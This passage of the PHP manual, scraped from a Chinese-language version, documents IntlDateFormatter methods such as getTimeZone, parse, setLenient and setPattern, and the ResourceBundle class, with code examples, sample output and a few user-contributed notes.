timezone_id of the formatter is: America/Los_Angeles
Now timezone_id of the formatter is: Europe/Madrid

参见

  • datefmt_set_timezone() - Sets formatter?s timezone
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Get copy of formatter?s calendar object

  • ? IntlDateFormatter::getTimeZoneId
  • IntlDateFormatter::getTimeZone ?
  • PHP Manual
  • IntlDateFormatter
  • Get copy of formatter?s calendar object

IntlDateFormatter::getCalendarObject

datefmt_get_calendar_object

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL intl >= 3.0.0)

IntlDateFormatter::getCalendarObject -- datefmt_get_calendar_object — Get copy of formatter?s calendar object

说明

面向对象风格

public IntlDateFormatter::getCalendarObject(): IntlCalendar|false|null

过程化风格

datefmt_get_calendar_object(IntlDateFormatter $formatter): IntlCalendar|false|null

Obtain a copy of the calendar object used internally by this formatter. This calendar will have a type (as in gregorian, japanese, buddhist, roc, persian, islamic, etc.) and a timezone that match the type and timezone used by the formatter. The date/time of the object is unspecified.

参数

此函数没有参数。

返回值

A copy of the internal calendar object used by this formatter, or null if none has been set, 或者在失败时返回 false.

示例

Example #1 IntlDateFormatter::getCalendarObject() example

<?php
$formatter = IntlDateFormatter::create(
"fr_FR@calendar=islamic",
NULL,
NULL,
"GMT-01:00",
IntlDateFormatter::TRADITIONAL
);

$cal = $formatter->getCalendarObject();

var_dump(
$cal->getType(),
$cal->getTimeZone(),
$cal->getLocale(Locale::VALID_LOCALE)
);

以上示例会输出：

string(7) "islamic"
object(IntlTimeZone)#3 (4) {
  ["valid"]=>
  bool(true)
  ["id"]=>
  string(9) "GMT-01:00"
  ["rawOffset"]=>
  int(-3600000)
  ["currentOffset"]=>
  int(-3600000)
}
string(5) "fr_FR"

参见

  • IntlDateFormatter::getCalendar() - Get the calendar type used for the IntlDateFormatter
  • IntlDateFormatter::setCalendar() - Sets the calendar type used by the formatter
  • IntlCalendar

User Contributed Notes

There are no user contributed notes for this page.


Get formatter?s timezone

  • ? IntlDateFormatter::getCalendarObject
  • IntlDateFormatter::isLenient ?
  • PHP Manual
  • IntlDateFormatter
  • Get formatter?s timezone

IntlDateFormatter::getTimeZone

datefmt_get_timezone

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL intl >= 3.0.0)

IntlDateFormatter::getTimeZone -- datefmt_get_timezone — Get formatter?s timezone

说明

面向对象风格

public IntlDateFormatter::getTimeZone(): IntlTimeZone|false

过程化风格

datefmt_get_timezone(IntlDateFormatter $formatter): IntlTimeZone|false

Returns an IntlTimeZone object representing the timezone that will be used by this object to format dates and times. When formatting IntlCalendar and DateTime objects with this IntlDateFormatter, the timezone used will be the one returned by this method, not the one associated with the objects being formatted.

参数

此函数没有参数。

返回值

The associated IntlTimeZone object 或者在失败时返回 false.

示例

Example #1 IntlDateFormatter::getTimeZone() examples

<?php

$madrid = IntlDateFormatter::create(NULL, NULL, NULL, 'Europe/Madrid');
$lisbon = IntlDateFormatter::create(NULL, NULL, NULL, 'Europe/Lisbon');

var_dump($madrid->getTimezone());
echo $madrid->getTimezone()->getDisplayName(
false, IntlTimeZone::DISPLAY_GENERIC_LOCATION, "en_US"), "\n";
echo $lisbon->getTimeZone()->getId(), "\n";
//The id can also be retrieved with ->getTimezoneId()
echo $lisbon->getTimeZoneId(), "\n";

以上示例会输出：

object(IntlTimeZone)#4 (4) {
  ["valid"]=>
  bool(true)
  ["id"]=>
  string(13) "Europe/Madrid"
  ["rawOffset"]=>
  int(3600000)
  ["currentOffset"]=>
  int(7200000)
}
Spain Time
Europe/Lisbon
Europe/Lisbon

参见

  • IntlDateFormatter::getTimeZoneId() - Get the timezone-id used for the IntlDateFormatter
  • IntlDateFormatter::setTimeZone() - Sets formatter?s timezone
  • IntlTimeZone

User Contributed Notes

There are no user contributed notes for this page.


Get the lenient used for the IntlDateFormatter

  • ? IntlDateFormatter::getTimeZone
  • IntlDateFormatter::localtime ?
  • PHP Manual
  • IntlDateFormatter
  • Get the lenient used for the IntlDateFormatter

IntlDateFormatter::isLenient

datefmt_is_lenient

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::isLenient -- datefmt_is_lenient — Get the lenient used for the IntlDateFormatter

说明

面向对象风格

public IntlDateFormatter::isLenient(): bool

过程化风格

datefmt_is_lenient(IntlDateFormatter $formatter): bool

Check if the parser is strict or lenient in interpreting inputs that do not match the pattern exactly.

参数

formatter

The formatter resource.

返回值

true if parser is lenient, false if parser is strict. By default the parser is lenient.

示例

Example #1 datefmt_is_lenient() example

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'dd/mm/yyyy'
);
echo 'lenient of the formatter is : ';
if ($fmt->isLenient()) {
echo 'TRUE';
} else {
echo 'FALSE';
}
datefmt_parse($fmt, '35/13/1971');
echo "\n Trying to do parse('35/13/1971').\nResult is : " . datefmt_parse($fmt, '35/13/1971');
if (intl_get_error_code() != 0) {
echo "\nError_msg is : " . intl_get_error_message();
echo "\nError_code is : " . intl_get_error_code();
}
datefmt_set_lenient($fmt,false);
echo 'Now lenient of the formatter is : ';
if ($fmt->isLenient()) {
echo 'TRUE';
} else {
echo 'FALSE';
}
datefmt_parse($fmt, '35/13/1971');
echo "\n Trying to do parse('35/13/1971').Result is : " . datefmt_parse($fmt, '35/13/1971');
if (intl_get_error_code() != 0) {
echo "\nError_msg is : " . intl_get_error_message();
echo "\nError_code is : " . intl_get_error_code();
}

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
"dd/mm/yyyy"
);
echo "lenient of the formatter is : ";
if ($fmt->isLenient()) {
echo 'TRUE';
} else {
echo 'FALSE';
}
$fmt->parse('35/13/1971');
echo "\n Trying to do parse('35/13/1971').\nResult is : " . $fmt->parse('35/13/1971');
if (intl_get_error_code() != 0){
echo "\nError_msg is : " . intl_get_error_message();
echo "\nError_code is : " . intl_get_error_code();
}

$fmt->setLenient(FALSE);
echo 'Now lenient of the formatter is : ';
if ($fmt->isLenient()) {
echo 'TRUE';
} else {
echo 'FALSE';
}
$fmt->parse('35/13/1971');
echo "\n Trying to do parse('35/13/1971').\nResult is : " . $fmt->parse('35/13/1971');
if (intl_get_error_code() != 0) {
echo "\nError_msg is : " . intl_get_error_message();
echo "\nError_code is : " . intl_get_error_code();
}

?>

以上示例会输出：

lenient of the formatter is : TRUE
Trying to do parse('35/13/1971').
Result is : -2147483
Now lenient of the formatter is : FALSE
Trying to do parse('35/13/1971').
Result is :
Error_msg is : Date parsing failed: U_PARSE_ERROR
Error_code is : 9

参见

  • datefmt_set_lenient() - Set the leniency of the parser
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Parse string to a field-based time value

  • ? IntlDateFormatter::isLenient
  • IntlDateFormatter::parse ?
  • PHP Manual
  • IntlDateFormatter
  • Parse string to a field-based time value

IntlDateFormatter::localtime

datefmt_localtime

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::localtime -- datefmt_localtime — Parse string to a field-based time value

说明

面向对象风格

public IntlDateFormatter::localtime(string $string, int &$offset = null): array|false

过程化风格

datefmt_localtime(IntlDateFormatter $formatter, string $string, int &$offset = null): array|false

Converts string $value to a field-based time value ( an array of various fields), starting at $parse_pos and consuming as much of the input value as possible.

参数

formatter

The formatter resource

string

string to convert to a time

offset

Position at which to start the parsing in $value (zero-based). If no error occurs before $value is consumed, $parse_pos will contain -1 otherwise it will contain the position at which parsing ended . If $parse_pos > strlen($value), the parse fails immediately.

返回值

Localtime compatible array of integers : contains 24 hour clock value in tm_hour field, 或者在失败时返回 false.

示例

Example #1 datefmt_localtime() example

<?php

$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
$arr = datefmt_localtime($fmt, 'Wednesday, December 31, 1969 4:00:00 PM PT', 0);
echo 'First parsed output is ';
if ($arr) {
foreach ($arr as $key => $value) {
echo "$key : $value , ";
}
}

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
$arr = $fmt->localtime('Wednesday, December 31, 1969 4:00:00 PM PT', 0);
echo 'First parsed output is ';
if ($arr) {
foreach ($arr as $key => $value) {
echo "$key : $value , ";
}
}

?>

以上示例会输出：

First parsed output is tm_sec : 0 , tm_min : 0 , tm_hour : 16 , tm_year : 1969 ,
tm_mday : 31 , tm_wday : 4 , tm_yday : 365 , tm_mon : 11 , tm_isdst : 0 ,

参见

  • datefmt_create() - Create a date formatter
  • datefmt_format() - Format the date/time value as a string
  • datefmt_parse() - Parse string to a timestamp value
  • datefmt_get_error_code() - Get the error code from last operation
  • datefmt_get_error_message() - Get the error text from the last operation

User Contributed Notes

Patanjali 04-Mar-2017 11:19
Learning lesson here: Never trust the PHP documentation. Test everything!

$position does not work as described, at least in PHP 7. After parsing without errors, it does not contain -1.

You can still use it to set the parsing start character position, but not necessarily whether any errors occurred.

To test for errors, replace my $nPosition test code in the other note with:
<?php
// Check if errors
$bError = intl_is_failure(datefmt_get_error_code(oIDF));

// If no error
if(!$bError){
 // Use 'tm_hour' and 'tm_min' from the $aTime array for checking against other time values
 ...
}else{
 // Invalid string
 ...
}
?>
Patanjali 04-Mar-2017 03:55
You can use datefmt_localtime to convert a user's time string, input using their locale's script, into standard numbers for checking, using a simple HTML input element.

This avoids using clunky HTML select elements formatted with hour and minute options in the locale's script to capture user input.

<?php
// Specify locale of user
$sLocale = 'en-us'; // US English user
$sLocale = 'ar-ye'; // Yemen Arab user

// Create a date formatter for the user's locale
$oIDF = datefmt_create($sLocale, IntlDateFormatter::NONE, IntlDateFormatter::SHORT);

// Simulate a user's time input string
$sTime = datefmt_format($oIDF, ['tm_hour'=>15, 'tm_min'=>25]);
// For a US English user, $sTime = '3:25 PM'
// For a Yemen Arab user, $sTime = '?:?? ?'

// Specify datefmt_locale parsing start at the beginning of the user input
$nPosition = 0;

// Convert input time string to array of standard numeric values, as per localtime() output (http://php.net/manual/en/function.localtime.php)
$aTime = datefmt_localtime($oIDF, $sTime, $nPosition);
// If no errors, $nPosition set to -1 after parsing, else character position of error

// If valid string
if($nPosition = -1){
 // Use 'tm_hour' and 'tm_min' from the $aTime array for checking against other time values
 ...
}else{
 // Invalid string
 ...
}
?>


Parse string to a timestamp value

  • ? IntlDateFormatter::localtime
  • IntlDateFormatter::setCalendar ?
  • PHP Manual
  • IntlDateFormatter
  • Parse string to a timestamp value

IntlDateFormatter::parse

datefmt_parse

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::parse -- datefmt_parse — Parse string to a timestamp value

说明

面向对象风格

public IntlDateFormatter::parse(string $string, int &$offset = null): int|float|false

过程化风格

datefmt_parse(IntlDateFormatter $formatter, string $string, int &$offset = null): int|float|false

Converts string to an incremental time value, starting at offset and consuming as much of the input value as possible.

参数

formatter

The formatter resource

string

string to convert to a time

offset

Position at which to start the parsing in string (zero-based). If no error occurs before string is consumed, offset will contain -1 otherwise it will contain the position at which parsing ended (and the error occurred). This variable will contain the end position if the parse fails. If offset > strlen($string), the parse fails immediately.

返回值

Timestamp of parsed value, or false if value cannot be parsed.

示例

Example #1 OO example

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'First parsed output is ' . $fmt->parse('Wednesday, December 20, 1989 4:00:00 PM PT');
$fmt = new IntlDateFormatter(
'de-DE',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
?>

Example #2 datefmt_parse() example

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'First parsed output is ' . datefmt_parse($fmt, 'Wednesday, December 20, 1989 4:00:00 PM PT');
$fmt = datefmt_create(
'de-DE',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Second parsed output is ' . datefmt_parse($fmt, 'Mittwoch, 20. Dezember 1989 16:00 Uhr GMT-08:00');
?>

以上示例会输出：

First parsed output is 630201600
Second parsed output is 630201600

参见

  • datefmt_create() - Create a date formatter
  • datefmt_format() - Format the date/time value as a string
  • datefmt_localtime() - Parse string to a field-based time value
  • datefmt_get_error_code() - Get the error code from last operation
  • datefmt_get_error_message() - Get the error text from the last operation

User Contributed Notes

Anonymous 11-Jul-2018 11:44
Please note:
* on  a 32-bit system, parse() will return float if the value gets out of integer range
* while parse() parses fractional seconds with a format like 'yyyy-MM-dd HH:mm:ss.SSSSSS', it only returns an int. This is also true when the value is returned as float, msecs remain absent in the return value.


Sets the calendar type used by the formatter

  • ? IntlDateFormatter::parse
  • IntlDateFormatter::setLenient ?
  • PHP Manual
  • IntlDateFormatter
  • Sets the calendar type used by the formatter

IntlDateFormatter::setCalendar

datefmt_set_calendar

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::setCalendar -- datefmt_set_calendar — Sets the calendar type used by the formatter

说明

面向对象风格

public IntlDateFormatter::setCalendar(IntlCalendar|int|null $calendar): bool

过程化风格

datefmt_set_calendar(IntlDateFormatter $formatter, IntlCalendar|int|null $calendar): bool

Sets the calendar or calendar type used by the formatter.

参数

formatter

The formatter resource.

calendar

This can either be: the calendar type to use (default is IntlDateFormatter::GREGORIAN, which is also used if null is specified) or an IntlCalendar object.

Any IntlCalendar object passed in will be cloned; no modifications will be made to the argument object.

The timezone of the formatter will only be kept if an IntlCalendar object is not passed, otherwise the new timezone will be that of the passed object.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
5.5.0/PECL 3.0.0 | It became possible to pass an IntlCalendar object.

示例

Example #1 datefmt_set_calendar() example

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'calendar of the formatter is : ' . datefmt_get_calendar($fmt);
datefmt_set_calendar($fmt, IntlDateFormatter::TRADITIONAL);
echo 'Now calendar of the formatter is : ' . datefmt_get_calendar($fmt);
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'calendar of the formatter is : ' . $fmt->getCalendar();
$fmt->setCalendar(IntlDateFormatter::TRADITIONAL);
echo 'Now calendar of the formatter is : ' . $fmt->getCalendar();
?>

以上示例会输出：

calendar of the formatter is : 1
Now calendar of the formatter is : 0

Example #3 Example with IntlCalendar argument

<?php
$time = strtotime("2013-03-03 00:00:00 UTC");
$formatter = IntlDateFormatter::create("en_US", NULL, NULL, "Europe/Amsterdam");

echo "before: ", $formatter->format($time), "\n";

/* note that the calendar's locale is not used! */
$formatter->setCalendar(IntlCalendar::createInstance(
"America/New_York", "pt_PT@calendar=islamic"));

echo "after: ", $formatter->format($time), "\n";

以上示例会输出：

before: Sunday, March 3, 2013 at 1:00:00 AM Central European Standard Time
after:  Saturday, Rabi? II 20, 1434 at 7:00:00 PM Eastern Standard Time

参见

  • datefmt_get_calendar() - Get the calendar type used for the IntlDateFormatter
  • datefmt_get_calendar_object() - Get copy of formatter?s calendar object
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Set the leniency of the parser

  • ? IntlDateFormatter::setCalendar
  • IntlDateFormatter::setPattern ?
  • PHP Manual
  • IntlDateFormatter
  • Set the leniency of the parser

IntlDateFormatter::setLenient

datefmt_set_lenient

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::setLenient -- datefmt_set_lenient — Set the leniency of the parser

说明

面向对象风格

public IntlDateFormatter::setLenient(bool $lenient): void

过程化风格

datefmt_set_lenient(IntlDateFormatter $formatter, bool $lenient): void

Define if the parser is strict or lenient in interpreting inputs that do not match the pattern exactly. Enabling lenient parsing allows the parser to accept otherwise flawed date or time patterns, parsing as much as possible to obtain a value. Extra space, unrecognized tokens, or invalid values ("February 30th") are not accepted.

参数

formatter

The formatter resource

lenient

Sets whether the parser is lenient or not, default is true (lenient).

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 datefmt_set_lenient() example

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'dd/MM/yyyy'
);
echo 'lenient of the formatter is : ';
if ($fmt->isLenient()) {
echo 'TRUE';
} else {
echo 'FALSE';
}
datefmt_parse($fmt, '35/13/1971');
echo "\n Trying to do parse('35/13/1971').\nResult is : " . datefmt_parse($fmt, '35/13/1971');
if (intl_get_error_code() != 0) {
echo "\nError_msg is : " . intl_get_error_message();
echo "\nError_code is : " . intl_get_error_code();
}
datefmt_set_lenient($fmt, false);
echo "\nNow lenient of the formatter is : ";
if ($fmt->isLenient()) {
echo 'TRUE';
} else {
echo 'FALSE';
}
datefmt_parse($fmt, '35/13/1971');
echo "\nTrying to do parse('35/13/1971').\nResult is : " . datefmt_parse($fmt, '35/13/1971');
if (intl_get_error_code() != 0) {
echo "\nError_msg is : ".intl_get_error_message();
echo "\nError_code is : ".intl_get_error_code();
}

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'dd/MM/yyyy'
);
echo 'lenient of the formatter is : ';
if ($fmt->isLenient()) {
echo 'TRUE';
} else {
echo 'FALSE';
}
$fmt->parse('35/13/1971');
echo "\n Trying to do parse('35/13/1971').\nResult is : " . $fmt->parse('35/13/1971');
if (intl_get_error_code() != 0) {
echo "\nError_msg is : " . intl_get_error_message();
echo "\nError_code is : " . intl_get_error_code();
}

$fmt->setLenient(FALSE);
echo "\nNow lenient of the formatter is : ";
if ($fmt->isLenient()) {
echo 'TRUE';
} else {
echo 'FALSE';
}
$fmt->parse('35/13/1971');
echo "\n Trying to do parse('35/13/1971').\nResult is : " . $fmt->parse('35/13/1971');
if (intl_get_error_code() != 0) {
echo "\nError_msg is : " . intl_get_error_message();
echo "\nError_code is : " . intl_get_error_code();
}

?>

以上示例会输出：

lenient of the formatter is : TRUE
Trying to do parse('35/13/1971').
Result is : 66038400
Now lenient of the formatter is : FALSE
Trying to do parse('35/13/1971').
Result is :
Error_msg is : Date parsing failed: U_PARSE_ERROR
Error_code is : 9

参见

  • datefmt_is_lenient() - Get the lenient used for the IntlDateFormatter
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Set the pattern used for the IntlDateFormatter

  • ? IntlDateFormatter::setLenient
  • IntlDateFormatter::setTimeZone ?
  • PHP Manual
  • IntlDateFormatter
  • Set the pattern used for the IntlDateFormatter

IntlDateFormatter::setPattern

datefmt_set_pattern

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::setPattern -- datefmt_set_pattern — Set the pattern used for the IntlDateFormatter

说明

面向对象风格

public IntlDateFormatter::setPattern(string $pattern): bool

过程化风格

datefmt_set_pattern(IntlDateFormatter $formatter, string $pattern): bool

Set the pattern used for the IntlDateFormatter.

参数

formatter

The formatter resource.

pattern

New pattern string to use. Possible patterns are documented at » https://unicode-org.github.io/icu/userguide/format_parse/datetime/.

返回值

成功时返回 true， 或者在失败时返回 false。 Bad formatstrings are usually the cause of the failure.

示例

Example #1 datefmt_set_pattern() example

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'MM/dd/yyyy'
);
echo 'Pattern of the formatter is : ', datefmt_get_pattern($fmt), PHP_EOL;
echo 'First Formatted output with pattern is ', datefmt_format($fmt, 0), PHP_EOL;
datefmt_set_pattern($fmt, 'yyyyMMdd hh:mm:ss z');
echo 'Now pattern of the formatter is : ', datefmt_get_pattern($fmt), PHP_EOL;
echo 'Second Formatted output with pattern is ', datefmt_format($fmt, 0), PHP_EOL;
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'MM/dd/yyyy'
);
echo 'Pattern of the formatter is : ', $fmt->getPattern(), PHP_EOL;
echo 'First Formatted output is ', $fmt->format(0), PHP_EOL;
$fmt->setPattern('yyyyMMdd hh:mm:ss z');
echo 'Now pattern of the formatter is : ', $fmt->getPattern(), PHP_EOL;
echo 'Second Formatted output is ', $fmt->format(0), PHP_EOL;
?>

以上示例会输出：

Pattern of the formatter is : MM/dd/yyyy
First Formatted output is 12/31/1969
Now pattern of the formatter is : yyyyMMdd hh:mm:ss z
Second Formatted output is 19691231 04:00:00 PST

参见

  • datefmt_get_pattern() - Get the pattern used for the IntlDateFormatter
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Sets formatter?s timezone

  • ? IntlDateFormatter::setPattern
  • ResourceBundle ?
  • PHP Manual
  • IntlDateFormatter
  • Sets formatter?s timezone

IntlDateFormatter::setTimeZone

datefmt_set_timezone

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL intl >= 3.0.0)

IntlDateFormatter::setTimeZone -- datefmt_set_timezone — Sets formatter?s timezone

说明

面向对象风格

public IntlDateFormatter::setTimeZone(IntlTimeZone|DateTimeZone|string|null $timezone): ?bool

过程化风格

datefmt_set_timezone(IntlDateFormatter $formatter, IntlTimeZone|DateTimeZone|string|null $timezone): ?bool

Sets the timezone used for the IntlDateFormatter. object.

参数

formatter

The formatter resource.

timezone

The timezone to use for this formatter. This can be specified in the following forms:

  • null, in which case the default timezone will be used, as specified in the ini setting date.timezone or through the function date_default_timezone_set() and as returned by date_default_timezone_get().

  • An IntlTimeZone, which will be used directly.

  • A DateTimeZone. Its identifier will be extracted and an ICU timezone object will be created; the timezone will be backed by ICU?s database, not PHP?s.

  • A string, which should be a valid ICU timezone identifier. See IntlTimeZone::createTimeZoneIDEnumeration(). Raw offsets such as "GMT+08:30" are also accepted.

返回值

Returns null on success and false on failure.

示例

Example #1 IntlDateFormatter::setTimeZone() examples

<?php
ini_set('date.timezone', 'Europe/Amsterdam');

$formatter = IntlDateFormatter::create(NULL, NULL, NULL, "UTC");

$formatter->setTimeZone(NULL);
echo "NULL\n ", $formatter->getTimeZone()->getId(), "\n";

$formatter->setTimeZone(IntlTimeZone::createTimeZone('Europe/Lisbon'));
echo "IntlTimeZone\n ", $formatter->getTimeZone()->getId(), "\n";

$formatter->setTimeZone(new DateTimeZone('Europe/Paris'));
echo "DateTimeZone\n ", $formatter->getTimeZone()->getId(), "\n";

$formatter->setTimeZone('Europe/Rome');
echo "String\n ", $formatter->getTimeZone()->getId(), "\n";

$formatter->setTimeZone('GMT+00:30');
print_r($formatter->getTimeZone());

以上示例会输出：

NULL
    Europe/Amsterdam
IntlTimeZone
    Europe/Lisbon
DateTimeZone
    Europe/Paris
String
    Europe/Rome
IntlTimeZone Object
(
    [valid] => 1
    [id] => GMT+00:30
    [rawOffset] => 1800000
    [currentOffset] => 1800000
)

参见

  • IntlDateFormatter::getTimeZone() - Get formatter?s timezone

User Contributed Notes

There are no user contributed notes for this page.


The ResourceBundle class

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL intl >= 2.0.0)

简介

Localized software products often require sets of data that are to be customized depending on current locale, e.g.: messages, labels, formatting patterns. ICU resource mechanism allows to define sets of resources that the application can load on locale basis, while accessing them in unified locale-independent fashion.

This class implements access to ICU resource data files. These files are binary data arrays which ICU uses to store the localized data.

ICU resource bundle can hold simple resources and complex resources. Complex resources are containers which can be either integer-indexed or string-indexed (just like PHP arrays). Simple resources can be of the following types: string, integer, binary data field or integer array.

ResourceBundle supports direct access to the data through array access pattern and iteration via foreach, as well as access via class methods. The result will be PHP value for simple resources and ResourceBundle object for complex ones. All resources are read-only.

类摘要

class ResourceBundle implements IteratorAggregate, Countable {
/* 方法 */
public __construct(?string $locale, ?string $bundle, bool $fallback = true)
public count(): int
public static create(?string $locale, ?string $bundle, bool $fallback = true): ?ResourceBundle
public getErrorCode(): int
public getErrorMessage(): string
public get(string|int $index, bool $fallback = true): mixed
public static getLocales(string $bundle): array|false
}

更新日志

版本 | 说明
8.0.0 | ResourceBundle implements IteratorAggregate now. Previously, Traversable was implemented instead.
7.4.0 | ResourceBundle implements Countable now.

参见

  • » ICU Resource Management
  • » ICU Data

Table of Contents

  • ResourceBundle::count — Get number of elements in the bundle
  • ResourceBundle::create — Create a resource bundle
  • ResourceBundle::getErrorCode — Get bundle's last error code
  • ResourceBundle::getErrorMessage — Get bundle's last error message
  • ResourceBundle::get — Get data from the bundle
  • ResourceBundle::getLocales — Get supported locales

User Contributed Notes

maiseralves at gmail dot com 19-May-2011 01:03
<?php
/*
 * Struct of a Resource Bundle file
 * file root.txt
 * root:table {
 *       usage:string { "Usage: genrb [Options] files" }
 *       version:int { 122 }
 *       errorcodes:array {
 *           :string { "Invalid argument" }
 *           :string { "File not found" }
 *        }
 *   }
 * use: $genrb root.txt to generate resource bundle file (root.res)
 */

//recursive function to list a resource bundle file structure using a ResourceBundle Object ( ) reference
function t($rb) {
    foreach($rb as $k => $v) {
        if(is_object($v)) {
            print_r($v);
            var_dump($k);
            t($v);
        } else {
            var_dump($k . " " . $v);
        }
    }
}
//open root.res from folder locale
$rb = new ResourceBundle('root', "./locale");

t($rb);//call the function

/* The output from root table is
 *   |- string(34) "usage Usage: genrb [Options] files"
 *   |- string(11) "version 122"
 *   |- ResourceBundle Object ( ) string(10) "errorcodes"
 *         |- string(18) "0 Invalid argument"
 *         |- string(16) "1 File not found"
 */
?>


Get number of elements in the bundle

  • ? ResourceBundle
  • ResourceBundle::create ?
  • PHP Manual
  • ResourceBundle
  • Get number of elements in the bundle

ResourceBundle::count

resourcebundle_count

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL intl >= 2.0.0)

ResourceBundle::count -- resourcebundle_count — Get number of elements in the bundle

说明

面向对象风格

public ResourceBundle::count(): int

过程化风格

resourcebundle_count(ResourceBundle $bundle): int

Get the number of elements in the bundle.

参数

bundle

ResourceBundle object.

返回值

Returns number of elements in the bundle.

示例

Example #1 resourcebundle_count() example

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo resourcebundle_count($r);
?>

Example #2 OO example

<?php
$r = new ResourceBundle( 'es', "/usr/share/data/myapp");
echo $r->count();
?>

以上示例会输出：

42

参见

  • resourcebundle_get() - Get data from the bundle

User Contributed Notes

There are no user contributed notes for this page.


Create a resource bundle

  • ? ResourceBundle::count
  • ResourceBundle::getErrorCode ?
  • PHP Manual
  • ResourceBundle
  • Create a resource bundle

ResourceBundle::create

resourcebundle_create

ResourceBundle::__construct

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL intl >= 2.0.0)

ResourceBundle::create -- resourcebundle_create -- ResourceBundle::__construct — Create a resource bundle

说明

面向对象风格 (method)

public static ResourceBundle::create(?string $locale, ?string $bundle, bool $fallback = true): ?ResourceBundle

过程化风格

resourcebundle_create(?string $locale, ?string $bundle, bool $fallback = true): ?ResourceBundle

面向对象风格 (constructor):

public ResourceBundle::__construct(?string $locale, ?string $bundle, bool $fallback = true)

Creates a resource bundle.

参数

locale

Locale for which the resources should be loaded (locale name, e.g. en_CA).

bundle

The directory where the data is stored or the name of the .dat file.

fallback

Whether locale should match exactly or fallback to parent locale is allowed.

返回值

Returns ResourceBundle object or null on error.

示例

Example #1 resourcebundle_create() example

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo $r['teststring'];
?>

Example #2 ResourceBundle::create() example

<?php
$r = ResourceBundle::create( 'es', "/usr/share/data/myapp");
echo $r['teststring'];
?>

以上示例会输出：

?Hola, mundo!

参见

  • resourcebundle_get() - Get data from the bundle

User Contributed Notes

Anonymous 22-Oct-2019 12:50
Depending on the data you want to load, you might need to pass 'root' or something different as $locale.
Here is a list of examples and the corresponding link to the file that gets loaded:

ResourceBundle::create('de', 'ICUDATA-brkitr', false)
https://github.com/unicode-org/icu/blob/release-65-1/icu4c/source/data/brkitr/de.txt

ResourceBundle::create('root', 'ICUDATA-curr', false)
https://github.com/unicode-org/icu/blob/release-65-1/icu4c/source/data/curr/root.txt

ResourceBundle::create('root', 'ICUDATA-translit', false)
https://github.com/unicode-org/icu/blob/release-65-1/icu4c/source/data/translit/root.txt

ResourceBundle::create('likelySubtags', 'ICUDATA', false)
https://github.com/unicode-org/icu/blob/release-65-1/icu4c/source/data/misc/likelySubtags.txt
mail at dasprids dot de 23-Jun-2014 12:17
Since this took me over 4 hours to find out after digging through the libicu source code, I thought it'd be a good idea to post it here. do access othere thata than the default "locale" data (which you get by passing NULL as $bundlename), you can use the following somewhat magic strings to get other resource bundles:

ICUDATA-curr
ICUDATA-lang
ICUDATA-region
ICUDATA-zone
mail at dasprids dot de 22-Jun-2014 09:55
